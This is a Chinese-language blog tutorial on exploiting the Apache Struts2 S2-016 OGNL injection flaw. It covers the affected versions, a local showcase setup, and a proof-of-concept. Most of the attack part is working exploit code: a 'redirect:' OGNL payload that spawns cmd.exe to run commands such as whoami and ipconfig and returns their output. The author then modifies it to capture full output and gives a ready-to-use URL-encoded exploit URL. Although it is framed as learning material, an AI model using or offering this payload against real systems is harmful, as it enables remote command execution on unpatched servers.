Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)

Struts-s2-016

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://www.freebuf.com/vuls/11220.html

二、 影响版本:

Struts 2.0.0 - Struts 2.3.15

三、 漏洞介绍:

Struts 2 DefaultActionMapper支持通过使用“action:”或“redirect:”前缀参数来进行短路导航状态更改的方法,然后是所需的导航目标表达式。该机制旨在帮助将导航信息附加到表单中的按钮。
在2.3.15.1之前的Struts 2中,“action:”,“redirect:”或“redirectAction:”之后的信息没有被正确的清理。由于所述信息将被评估为对值堆栈的OGNL表达式,因此引入了注入服务器端代码的可能性。
参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

四、 环境搭建:

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)_第1张图片
2.1.6_1.png

Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)_第2张图片
2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)_第3张图片
2.1.6_4.png
  • 已成功自动部署
Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)_第4张图片
2.1.6_5.png
  • 访问http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

五、 POC:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

六、 测试网址:

原始网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

修改之后网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

七、执行结果

执行结果,有下载文件,下载并用notepad++打开看到结果


1.png

八、发现问题并修改

但存在问题,执行ipconfig命令时,仅仅输出一行
自习查看POC,很是无奈,但发现println,想到java也有类似函数,java中是仅输出一行,要想全部输出要循环直到read()=-1,恰好看到前面也有read函数,感觉应该一样,但懒的去写循环就手动循环;两句话:#d.read(#e),#matt.getWriter().println(#e),需要修改之前e大小,我这里改为500。至于循环次数,和e的大小,大家在使用的时候根据需求适当调整。我尝试了一下,结果成功了。

修改后POC

${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

修改后网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

执行结果:

Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)_第5张图片
2.png

九、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-016漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建))